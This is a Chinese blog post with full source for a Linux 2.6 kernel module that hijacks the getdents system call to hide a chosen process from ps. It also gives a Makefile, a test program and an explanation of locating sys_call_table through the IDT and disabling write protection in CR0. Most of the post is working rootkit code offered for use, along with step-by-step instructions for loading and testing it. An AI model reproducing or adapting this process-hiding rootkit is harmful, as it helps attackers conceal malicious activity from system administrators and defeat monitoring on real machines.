linux系统调用劫持隐藏进程,Linux2.6内核中劫持系统调用隐藏进程

网上很多类似的文章,其中很多示例程序都是在比较老的内核版本上测试过,很多在新的内核下根本无法运行,我收集了一些相关的资料,并给出一个在linux内核2.6.28(ubuntu9.04)上可以运行的程序代码.相比其他一些文章,修改如下:

1.增加了两个函数,清CR0的第20位,不然在替换sys_call_table的时候会报段错误.

unsigned int clear_and_return_cr0(void);

void setback_cr0(unsigned int val);

2.针对ubuntu9.04中,ps命令用的系统调用是sys_getdents,不是sys_getdents64(在suse系统里面用的是sys_getdents64),所以程序中劫持的是sys_getdents的系统调用.

关于隐藏进程的原理,可以查看其他相关文章,主要是通过int 0x80 找sys_call_table的地址.

测试环境: ubuntu9.04 内核版本2.6.28

模块代码如下:

/*hideps.c*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

//#include

//#include

#define CALLOFF 100

//使用模块参数来定义需要隐藏的进程名

int orig_cr0;

char psname[10]="looptest";

char *processname=psname;

//module_param(processname, charp, 0);

struct {

unsigned short limit;

unsigned int base;

} __attribute__ ((packed)) idtr;

struct {

unsigned short off1;

unsigned short sel;

unsigned char none,flags;

unsigned short off2;

} __attribute__ ((packed)) * idt;

struct linux_dirent{

unsigned long     d_ino;

unsigned long     d_off;

unsigned short    d_reclen;

char    d_name[1];

};

void** sys_call_table;

unsigned int clear_and_return_cr0(void)

{

unsigned int cr0 = 0;

unsigned int ret;

asm volatile ("movl %%cr0, %%eax"

: "=a"(cr0)

);

ret = cr0;

/*clear the 20th bit of CR0,*/

cr0 &= 0xfffeffff;

asm volatile ("movl %%eax, %%cr0"

:

: "a"(cr0)

);

return ret;

}

void setback_cr0(unsigned int val)

{

asm volatile ("movl %%eax, %%cr0"

:

: "a"(val)

);

}

asmlinkage long (*orig_getdents)(unsigned int fd,

struct linux_dirent __user *dirp, unsigned int count);

char * findoffset(char *start)

{

char *p;

for (p = start; p < start + CALLOFF; p++)

if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')

return p;

return NULL;

}

int myatoi(char *str)

{

int res = 0;

int mul = 1;

char *ptr;

for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)

{

if (*ptr < '0' || *ptr > '9')

return (-1);

res += (*ptr - '0') * mul;

mul *= 10;

}

if(res>0 && res< 9999)

printk(KERN_INFO "pid=%d,",res);

printk("\n");

return (res);

}

struct task_struct *get_task(pid_t pid)

{

struct task_struct *p = get_current(),*entry=NULL;

list_for_each_entry(entry,&(p->tasks),tasks)

{

if(entry->pid == pid)

{

printk("pid found=%d\n",entry->pid);

return entry;

}

else

{

//    printk(KERN_INFO "pid=%d not found\n",pid);

}

}

return NULL;

}

static inline char *get_name(struct task_struct *p, char *buf)

{

int i;

char *name;

name = p->comm;

i = sizeof(p->comm);

do {

unsigned char c = *name;

name++;

i--;

*buf = c;

if (!c)

break;

if (c == '\\') {

buf[1] = c;

buf += 2;

continue;

}

if (c == '\n')

{

buf[0] = '\\';

buf[1] = 'n';

buf += 2;

continue;

}

buf++;

}

while (i);

*buf = '\n';

return buf + 1;

}

int get_process(pid_t pid)

{

struct task_struct *task = get_task(pid);

//    char *buffer[64] = {0};

char buffer[64];

if (task)

{

get_name(task, buffer);

//    if(pid>0 && pid<9999)

//    printk(KERN_INFO "task name=%s\n",*buffer);

if(strstr(buffer,processname))

return 1;

else

return 0;

}

else

return 0;

}

asmlinkage long hacked_getdents(unsigned int fd,

struct linux_dirent __user *dirp, unsigned int count)

{

//added by lsc for process

long value;

//    struct inode *dinode;

unsigned short len = 0;

unsigned short tlen = 0;

//    struct linux_dirent *mydir = NULL;

//end

//在这里调用一下sys_getdents,得到返回的结果

value = (*orig_getdents) (fd, dirp, count);

tlen = value;

//遍历得到的目录列表

while(tlen > 0)

{

len = dirp->d_reclen;

tlen = tlen - len;

printk("%s\n",dirp->d_name);

if(get_process(myatoi(dirp->d_name)) )

{

printk("find process\n");

//发现匹配的进程,调用memmove将这条进程覆盖掉

memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);

value = value - len;

printk(KERN_INFO "hide successful.\n");

}

if(tlen)

dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);

}

printk(KERN_INFO "finished hacked_getdents.\n");

return value;

}

void **get_sct_addr(void)

{

unsigned sys_call_off;

unsigned sct = 0;

char *p;

asm("sidt %0":"=m"(idtr));

idt = (void *) (idtr.base + 8 * 0x80);

sys_call_off = (idt->off2 << 16) | idt->off1;

if ((p = findoffset((char *) sys_call_off)))

sct = *(unsigned *) (p + 3);

return ((void **)sct);

}

static int filter_init(void)

{

//得到sys_call_table的偏移地址

sys_call_table = get_sct_addr();

if (!sys_call_table)

{

printk("get_act_addr(): NULL...\n");

return 0;

}

else

printk("sct: 0x%x\n", (unsigned int)sys_call_table);

//将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents

orig_getdents = sys_call_table[__NR_getdents];

orig_cr0 = clear_and_return_cr0();

sys_call_table[__NR_getdents] = hacked_getdents;

setback_cr0(orig_cr0);

printk(KERN_INFO "hideps: module loaded.\n");

return 0;

}

static void filter_exit(void)

{

orig_cr0 = clear_and_return_cr0();

if (sys_call_table)

sys_call_table[__NR_getdents] = orig_getdents;

setback_cr0(orig_cr0);

printk(KERN_INFO "hideps: module removed\n");

}

module_init(filter_init);

module_exit(filter_exit);

MODULE_LICENSE("GPL");

makefile文件如下:

obj-m   :=hideps.o

EXTRA_CFLAGS := -Dsymname=sys_call_table

KDIR   := /lib/modules/$(shell uname -r)/build

PWD   := $(shell pwd)

default:

$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules

clean:

$(RM) -rf .*.cmd *.mod.c *.o *.ko .tmp*

编写一个测试程序looptest.c,如下:

#include

int main(void)

{

while(1);

return 0;

}

编译该测试程序,#gcc looptest.c -o looptest

并将该程序在后台运行,然后insmod 驱动模块hideps.ko,然后输入ps查看进程,可发现,looptest进程看不到了....

---------------------

本文欢迎自由转载,但请标明出处和本文链接,并保持本文的完整性。

Dec 2, 2009

二、实现原理分析

实现的方法就是通过中断向量表,找到系统调用的中断向量,再通过系统调用时执行的指令,最终找到系

统调用表的地址,

进行系统调用的替换。

(一)中断

向量表地址的获取

中断向量表(IDT)的入口地址是通过IDTR寄存器来确定的。IDTR寄存器的内容如下图所示。

9000195_1.jpg

这就是上面代码中定义结构体

struct

idtr {

unsigned short limit;

unsigned int base;

}

__attribute__

((packed))

的原因。

idtr寄存器的内容可以通过汇编指令sidt取出,然后就可以IDT的入口地址idtr.base,即高32bit。

(二)系统

调用中断向量地址的获取

下一步就通过IDT找到系统调用中断即(0x80)的地址。下图即一个中断向量的组成。由此可以见,一个中断向量占用8个字节。因此,系统调用中断的地址可以表示

为:

idt = idtr.base + 8 * 0x80

9000195_2.jpg

(三)系统

调用处理例程地址的获取

获取到系统调用中断的地址后,同样需要一个数据结构,将中断向量描述符的相关内容保存。数据结构的定

义如下:

struct

idt {

unsigned short off1;

unsigned short sel;

unsigned char none, flags;

unsigned short off2;

}

__attribute__

((packed));

通过以上数据结构就可以得到系统调用中断发生时的中断处理例程的地址,即函数system_call()函数的地址:

sys_call_off

= idt.off2 << 16 | idt.off1

该函数是用汇编实现的,位于arch/i386/kernel/entry.S,下面截取该函数的部分实现:

# system call handler stub

ENTRY(system_call)

RING0_INT_FRAME#

can't unwind into user space anyway

pushl %eax# save

orig_eax

CFI_ADJUST_CFA_OFFSET 4

SAVE_ALL

GET_THREAD_INFO(%ebp)

testl $TF_MASK,EFLAGS(%esp)

jz no_singlestep

orl $_TIF_SINGLESTEP,TI_flags(%ebp)

no_singlestep:

# system call tracing in

operation / emulation

/* Note, _TIF_SECCOMP is bit number 8, and

so it needs testw and not testb */

testw

$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT),TI_flags(%ebp)

jnz syscall_trace_entry

cmpl $(nr_syscalls), %eax

jae syscall_badsys

syscall_call:

call

*sys_call_table(,%eax,4)

movl %eax,EAX(%esp)#

store the return value

(四)系统

调用表地址的获取

从上面代码中,我们可以看到,系统调用表的入口地址就是上面倒数第二行中sys_call_table。那么如果获取到sys_call_table的地址呢。由于这行代码执行了函数调用的指令call,该指令对应的指令码为\xff\x14\x85。

因此,我们只要在system_call函数体内搜索的前三个字节为\xff\x14\x85的内存地址,然后将该地址加3,即可获取到sys_call_table的地址。同时,还有一个问题需要确定,就是call

*sys_call_table(,%eax,4)这条指令相对于system_call函

数体的偏移是多少,这样我们可以确定内存搜索的范围。下面是entry.o函数反汇编的部分代码:

000000d0

:

d0:50push%eax

d1:fccld

d2:06push%es

d3:1epush%ds

d4:50push%eax

d5:55push%ebp

d6:57push%edi

d7:56push%esi

d8:52push%edx

d9:51push%ecx

da:53push%ebx

db:ba 7b 00 00 00mov$0x7b,%edx

e0:8e damovl%edx,%ds

e2:8e c2movl%edx,%es

e4:bd 00 f0

ff

ffmov$0xfffff000,%ebp

e9:21 e5and%esp,%ebp

eb:f7 44 24 30 00 01 00testl$0x100,0x30(%esp)

f2:00

f3:74 04jef9

f5:83 4d 08 10orl$0x10,0x8(%ebp)

000000f9

:

f9:66 f7 45 08

c1 01testw$0x1c1,0x8(%ebp)

ff:0f 85 bf 00 00 00jne1c4

105:3d 3e 01 00 00cmp$0x13e,%eax

10a:0f

83 27 01 00 00jae237

00000110

:

110:ff 14 85 00 00 00 00call*0x0(,%eax,4)

117:89 44 24 18mov%eax,0x18(%esp)

通过以上反汇编代码的倒数第二行可以看到,该行即执行call *sys_call_table(,%eax,4)的代码。那么该执行相对于函数体的偏移为0x110-0xd0

= 0x40。我们实际的代码中使用偏移值100作为搜索的最大范围。

至于反汇编出来为什么只是call

*0x0(,%eax,4),个人理解应该是该模块尚未与其他模块进行

链接的原因。当生成内核镜像vmlinux之后,反汇编vmlinux,然后找到system_call函数,就可以看到指令call

*0x0(,%eax,4)中0x0被替换为有效的地

址。本人也已经在2.6.18.3的vmlinux上验证过了,实际的代码如下:

c1003d04

:

c1003d04:ff 14 85 e0 14 1f c1call*0xc11f14e0(,%eax,4)

c1003d0b:89 44 24 18mov%eax,0x18(%esp)

因此可以看出,我当前系统的sys_call_table的地址为0xc11f14e0。

(五)系统

调用的替换

一旦我们获取到了系统调用表的地址,需要需要替换那些系统调用,只需要将系统调用表的某个系统调用指

向自己实现的系统调用即可。

#define

REPLACE(x)

old_##x = my_table[__NR_##x];\

my_table[__NR_##x] = new_##x

REPLACE(open);

另外,需要注意的是,在替换系统调用的时候,要先清CR0的第20位并记录原始值,不然在替换sys_call_table的时候会报

错。在替换完毕之后,再将CR0的原始值恢复,代码如下:

orig_cr0

=

clear_and_return_cr0();

setback_cr0(orig_cr0);

以上为Linux劫持系统调用的总结。欢迎多多交

流,如果不妥之处,请大家指正。

参考链接:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值